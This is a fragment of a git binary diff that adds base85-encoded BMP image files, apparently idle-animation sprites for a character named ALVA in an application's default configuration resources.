zT8I04{!^?t9p2hmHX?iM~~dYw$0VRg+S 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..fe026b56cfe9269bdd474bdc65ffd6d058c3c5d6 GIT binary patch literal 18462 zcmc(`1zc6h`#+Ao3W{qXwkRMi2!eE{ba!`%fJk?DcXz7@C@NS;r*wBoUYc9yHhgbZXFy3Ce53YB>e~I7zAHch~cYjU@53lAF z_W#}ua2eZQ8vnie=-Alk_~__3NE4Ielhfl>^4ApD*W}fX#MSnM)%LiRj`-D{to6yyNH_-Z9_GEjKfBo&`gY6lh!&@*1OUW!#Uf1xyJH**YM7;6SB)w=*f^NGvL!-KXE3; zO&^*p*&fJ*59T0;auI_$h=JVQ{%rV2-tea=J~|3=JYtaxLTa>z5;tYZ@NUxGywX}8 zj2th50qJ(6EVm^sw96WqVW3aIRXgy8T^Byt-= z7=n-p1af-`+8BdY+MsV$=*iOU{;cVSxZ(FPfsZvW;SrisnfMqKds|lcn3wzMl*kav z5g$D9D%EwoHny$Yzq#DE>7`$LML^rDfZ3KbGbK@SybF%}Zk`5(Zt9ty`h`C7Nu0;- z2{BR+)Wj{cC2jU)qsNM%@n@*9mpc=c8Rs@7~^7$MVqM-DahyC-Z>! zse$_RNDsLAT{3?P6x{p^te_o8J6jt@%8C-dh$T~|N8XMVIK}2}Z5SKir6u(6;Vn*K zLM}N1d5ep--nYYiNCIp~9+Tr=Hlo%xmkp5(hEXrmm!eOBNz>Mt#Df{XBN%Z;g zcXN{I@{(!u;%G85=?j&vt5W`QMdyy1fw;4wh@%FdwK|uLje4w;NI1(ccT_LRd62j} z-E@0&!CLOLyy$sB(OX=GlJW_DJ~@dY0;DXqXY5iaGnDWZglMT2X2yUL0xSC~pnr`O zi9~{jEzLFJL;{t}UtTkPe0{&Mw5a7|~sPTG|sd)W@jkj?>&eew*;nG5Kq^eVL_vIW;X=m38RFN;&1SSyb)GMd;65Wj)OlNE2Xt#oq5$NHNpv zEV}1TSG9{^UYI)cKVroXUPP#3HF4PPoH zNHzSWVcwE(2l4G-MM#e=k^!H}>bkWTSzsnzVJKy|!UZLRD~3ilOs*U~rAka!)6y4Yp4_xk{8icRifb<8iy+cy6C!KIqtwzAMgg*rryANz z2@$CQsZ;yfKQ;i*V{Q4HFC}Fk z3QDVrN~=pNK2^M}sjX>jEO@C&#q#jho%c45u!Ni;H{V8m^Fm$;cEYpNCun&Ixv7s) zS`gWIUJo!LvJgHgLV|zMLA=3R6>?MF4bX(#MQfD=Mc3B8{nRl5IDaiy@DOM+knZ-z zs+G2(txCPG7Gy7n2-b#_xEzn+9b`JmqI^+NiCBg7#Eo-@2~OkTv)?9dfBxoU(YxoF zRT;_elM~-&=Y1}#XsfCj_}n~P+df|3J=xGR)6hFz*F90y++W==_>fDE<0g+7wcG<{ z;fToMjF9{?kBmO&RCV%u#||97aqK+Nq04feIk~EmrUxYXQA&^$MIi?s}`PiYQk_$X%nG_|!RqgGWe@U%Peu z>bXP5P8>M!%K^M|_!px!g4!Yy$G^OvSlgP1pl=WaW_@s-{k;r+f(#z5K~U%91P>*< zqpY7OrDS+m1ZsY>BlN|4CFe|GGg>0DLwI<{4jw#t=qS;Vv)6wi`t=C@FNcqs@sL z#lt&)=*Ta4c*H01`!j=~ftM>w-6Ie*j6#nhp|M@$)b83Ue06$gpufGnueGhet+lJI zb!C1oD>?lxF}(_>(e3l3m3c3_e2ddL%^Q?lk$T|2czXk8qNL}bKH#Q^_E3P# zh06#IA0;?&_y``J(rt-GtNKjyX9ReM3cRe49j}&Kp3kk0uI?`GZuX*Kwdj@VTr*W= zqB|;=?kN#7s$9IMMoedVi&=_<(pk-2hsRp%uJ9ZEphzA|4_;FnZoMK|t8)hqJmGje zU{deOVtoqlFu}pYhYsK=-wX3qf*ceP5vn^{jAk`86@WV=4%&+y09>$Qd@{zry)Mbp z<_q#uhn%F*Ub3rop4p5#Y?f%_U9k#iu$7jN8`6RUl$D>bNSZUq zSo7+u+!ElIFA|XrG?2E_k#{y%^H!I#*Ko>`Rkn$?i+V_>%1*{3L@BC8Bc)F%DsY1h zkd?eHIsSfi66_)&=&`vYxWjc@El3%%S4IcRBGf4KTbkbimXJuqPa%GeVtR(6dU6c>BxkRl zJ$l?*)*{NmGcG!=^36vvekp*}h%M7w0qv^^J*9f?tP6yS{QK4KcZlB$IAi_IA@?*X zF&X)Z!QADbXvsC+i`;+IE}$5lC4l~IXXL|?0NZ zDfty;FA`ir&mKH}_Q*+Jksdd7C`u8jc}2bIRUSZq%RKWPC@A2J6-yg|*tS(ObRa1V zk%edROE7$GimYueffW+w-+t15u)^UODMq^eRS%CmLV)mnlj$S@~UhOiU1I^<~ zuD9YBSU-Iz1&rgke)v)D`@xFc{6G*~CsAR5UM!~QJV_2WsX^c&F@*4UtGV0=bWA^}A^ICD-3u)l|JAI(l52 zgvEp2;DbUvD4=C_o~!XoLN~MDOin3nHp4$vPGqv!tFmNI&>EKH)r~C5#5lv z7w2O<7HHD#sM2!#IFqlk@N*B7C==N znPQvNYY$qpXZj(egy-@z6MyGo-+yt&id~*W1$gBohAxh^KDd6T^>LQnUBx_>uy;H; z!A$l?@ea@v5>cMGXncd2>C{DzGgqmPoMSqCh4~N#J^rn8M^6Z|_&96U>yU685L0?_ zdf7-+;2%CuhEIO?@I5NL+t&`9CO>f!{}7%9-2;W|l-!rdh>xD&xyaZg|EgR#ONE4g z%(S+zlp|z4=dY-aLF7OfqqbPd=I?(BNNA;0=mq^EPD^ zM}&2hsQC&p(6Zkmqd!ITx*!`MKp_70braSR#0UAMsd|(cMIXb%t9zQg6WaB`Fd>M} zxQHu^hVWXeWhU(9I2{R%+)3$3`gbYvJK_3}qwc(!LbX26GcgJqJYy zO^~~mPO<=(mn3PJ24}vxY_-41QnD44CNvdJ9!-DbwuP<{^l>La%$kq*z8{-awxSC% zv~$A!H3`AlaCy6G(*zq0HLxBAvFd+&J-oMXLPvOd)jAcmJSi3=qZ^N_op=8<<6d1Q z9jbJj&z(~X`m$Ev(9B6dpHKBR2x%QJpX|ok+J>p& zfvA`wS?fGnQlkL%Ss(cYW0rUFBtehZQ^LjC%bA-T&*>`)OTZ_Qu-Fa_T0uVn^I6xb zMc>*5|Icz%94$7vbD?z(YI-Y6b3n8>2K_-z+;kYo6{Pf-n2zkvbx-mHDH*4;+h&}q zVF3*-CRxH4X}YX(ksDA+MLFG}t6n!f6;B(g-3hf58}reC+_hGedD0)8}G@630J&f*9`@9pQEG=pfz!hU-!myhRyC>nW0p`ezOKi0Fd^Y#Tl_ zK|-8PTRx3rfgci;-C;FTr5R;njPwv3bDjf)@FSqVDgO-X9#Hi9%7VA` zV@*-Hq`<_DZ%{*c#h1vkmBNuV&l+PEnRuV5m9O7Mx3`;fS~TgU^ofrx`g*X%d5mar zbI3o#igk3ceqIchZsjKB^>*~H?nR4wKlM&#^{>VBs@@Z-`cyahZEXaN9&DOsrMQ3c z$VnawZX5L{g>hw#???JO7ssa8reK@18@qFx@Woy95*+%rg_v94nO)l+nOpDeUupR~ z^CrJF@M(+$y(IZBS3x)@$}@Un2O8diFHFHKwTz4819q||x~qFKL8KkI!Jc zOyXf-3h1aP>Qzo+vZIN4dUV1Z0x=3fqfL_|ULRGM#ad=&Mt2cl;nqAj zNOG1!Pax)1JoKpy8eD{c^8htRAZTds3JM?(|4;@`K|>IHo7jY!zd&!Jpg@JXoA_iV zrj|fK`?q)J5s;IeYX-mbYDV8290B42*(sTNlJe31{$Jj{>1=F(a1$yRlAp;HRQWOO zY_3PSxrexT%&zT%puyL)&vNtvy&LP}2owlSRMdXtCelo|go166t_C~aPV22RyQ66I z5E4C%hDK4)5DGnrKn@{L!w4k!IfBOA89{;y$fWoU7xirqo!zvj&?B}YHAS5jfOTgF zXsnxeaFT%i*1|3rlGub)14-%0VK8?4PPkzOz78C_?(Y2dc7~y}M52*5)UeqSRw2#E zH@LYujzj^bip$;#-m*w^K_~m}BzU47^tWpUwt?7&P#9T)u;Mrb0TTouz`zV6P@~`x z8X5zbkf_+mO+RCFyvJ^Y9m-t1QB&3k#8roPc9$W@!z(CJ)&uH5eNK2MahK`a2nHxv znIqsJ){m=W0!?tl3IVieQ2l*nskY=pO5#g2zh3U~tQ@d^EzQW^x3MvXL;|b@#TA0& zkK-JmD97EDi1p$M*dQDU7#l#NLB@byS&dD}^70OO*VGQwdkEY|p?cv6px7V#w&VP_ z{LFS^JRwWvI!$R)ELJcuo<2dTV(wevLk6@`bQiA}Nl0gg`R#6E4q|b%R8SKn9I@`% zL`hnTJQGKVreo#Pi~{}OH-_=Uc9m)zlHKdD5d;dbmXlMiEooc!2Az_zQ8xsX96&+$ zqEG+|I34XOOtlmB$S<*fWe)TW3qTcDHrONqg(h0ce8^9L6?JbHiLck^AfEBw%Z?5@#pXf%A zkz4cgnw{xw5Vl|ZI5q0?L61|u69yYWp#WCJjqT~b^3`g5DHiunQ>8r<0h^?iK8 zllVQiKQ4^+jvMQnYRbzMrlo$Yc-7t51WXGTiDK*EjP*y7Lp@z)a!LhRg}`K*J`A@H zEexPh(-1l%qx7k@muE!8nRDka5fYMKxk5}xc<$mwB`vM4#YNzCyEiubfsH~?9~|Dd zy*&V-rywY|qJo8+`@*G5L<9u*_yoo-ZZ8|!wbe|AAk^30?I{Qy;uTXB|6*}vSzkga zGa?E|@<(QHFXN0Acmd3s7=;2`3qXEuYRp1Gt*38tx*yfozBafHEp9+50R_e?)<6>P zdOH*H^1_po)1N)7?eE9VvH%&->i*v|K#VD)kl-oM-n#yQ=N~?l*Vh51Evs%Zl(Sqz zLY+HM`@&{bM&0@*WTR`A6zC7S#zZCd(!LxMXoxe`ABPVP2POyQ#K%TDMb6Yi9r+V= zS)JYK!+xrsS^|1YU!c_`2)v5}R#*TBW=cUI`%%CZ17yHkK_K^`(0xcWzzPrp$J7Jg zo`x_@Hh^)zAF)(=j@UT~PYAWpWI79N>hzcHsj^3@ofr z`ydFsqXVu0eIFX#i$nllHZZpq9-S&eEyPdCMM6MCb@^75X+V8$PuGj7wRf9AYOXPU zUH}siD2~Yfx7t6#ika6i!7ZeNmVUloQoVQ08;>##cG>*!>{O=&kt>|w6cJ?Md)%g$ zR!zerz(seX5Ph)i{+acmu?>*>Cf9qHxBAe?ZZv9W21;;y&U}@H^)6FfOmwVwxRtd2 zbl2EIKcb^@rZv8;JE+N!L%yM=3TsFI3j)VG{}3yL*o%uhnVD$cmWr45ue2yG(Mqva zHU!25ABIZZN;q#ZILliFDALGiHb^&c1YKLpnBu{l|q+ve=buH%6ApB zseE6gsXGjST9eI(O0NDTkT!*nS_r}&nu^Y6Zw;wv);tArCbYbIlVBj{s$)I|b zO8OR+#7znjVp2Zh8>)9$gs)MsoVk4KmowLopK^L2?#v}6b(50dz#;yNqz}$s6uEXs z_69BAxvPQ~ZphxEP$8vLBqmq6OkqgM;K0DAO?KashEMwRokz+F7_9%)F@d)KNUm6{ zHO+O_jG_q)l1lVs*(%BdFaIR@d0m@p=EhMg0s-L(QajTVm(l1EMC>Hi?t!tAt*M^DgPzV%30 zA;RQwrkh7)T->MZjL!uHB_Yx6&r-%d<&A#KnXJj1uFaeLm}f07_rm{4Z^hg7!Pz`Z z<3I?(HQT?*y=H>IIB%*guT+_Nl8N(#yOD7!2B<{s586vM1XKoZ@ zZX9N65@>E7XlfR2`N&&OM}mc8rZv4i-L)*xb+t7$&eu_tkuA*XaiEE5kg;i?fpL(o zez>k~fQ*tmyNu_3S+~35f%M{j_av|Vaz^Q<(9IL)P1Iy(rp7UT@gHgOKCxn5{uW|e zmXU*t;PxYGX=&mI2IS18;>MXgYMJb+WjaQ^u};0wcHNOrS|V)fLmt)mntt*&c=kwA z7HqS7UqXFR8;v2*Qc1X{!((pdW*_4ZF8Z}TrVak)&4HF3VbN9^n}-~$yEf183hSwlcGX_q;|Gq=iU_8{&bJN6qmtt_xZQ6{W{GFZrx%< zot`9@&KQTzIET&z=Z+ZrzAX2(uUV++7aQ$4CPI?aU2l-xFEziL< z)YlB)?pKp>#){ps`#9S^yvYVj7}R1EmlS;}`rwg@q_YZ}xxpo>ya(!Kn#MiJE}gM< zU5QSe368z#ZaaN>(9|>3XaTCfz~Z6oT;E4%Dt)Iv6(QZx81qCyGW2 ze0w4sdt#hBqU^ilo!&n(Pi0k3=TR28%%Gz5;y$TNuu?SD?fdQ4uag8k*vW6sPmcp7 z+t<_Baugi;guF((sH*Cg_Cdzv9@W?-nX}-^)?jKvpbM8(ulXQiSad(n)SBzax zf>V2}!|eMwXzm60J_kKs4DTzjl9Zq9`Iv61X#aqD@oP@3zgLcrDYX1@a}Wr=7}k>7 z8Rf7iTKnDvrz&%kLVjIa5@vROO98hcb}1iwuQ%eiIp+PkP~l@w=#)%VWPoJseZ(m^jc*D2=x5Tshuc}WXZT;d+jXiY;$lhw2b;dh&$2bAOd`)zM zwWUE*CEzOz^kgx7u)tMAy(~Q?MA0x`-Su@sRBCKwp05c6tJoRILrxZg?^pU$JvyVE zI-?wW;+?BZP1BeaMb9%kq}2;)8fA7*DXZy*1;)+2{Wk1eH{;bTah2|Kbp^(7aXyyB zL9W>8`&~t`>Rr+0@czNzhQYx_@BvFiWRjkW>C_fN+VDyE^9GH3vMG#w-O(;z;~cwU z9eYyU*GE2}=iebma-gwX^hlANqC!_wOLb-CtGwsa1O0J<0Y!o45Ugx#D0^o-Z+Eh^ zKgX{-+NmqnsVCN@TvOlVIIXjDu0d#QR6$`)R~Hu>_t@_4FcQ^U)VCHi5Xt+*#Yh(o z-f{Xj-$%qAbNISB28h|ML=Fx#PJqD47#t4U+IlD~la>3duCq@{$Ij0s%YjMggOOf; 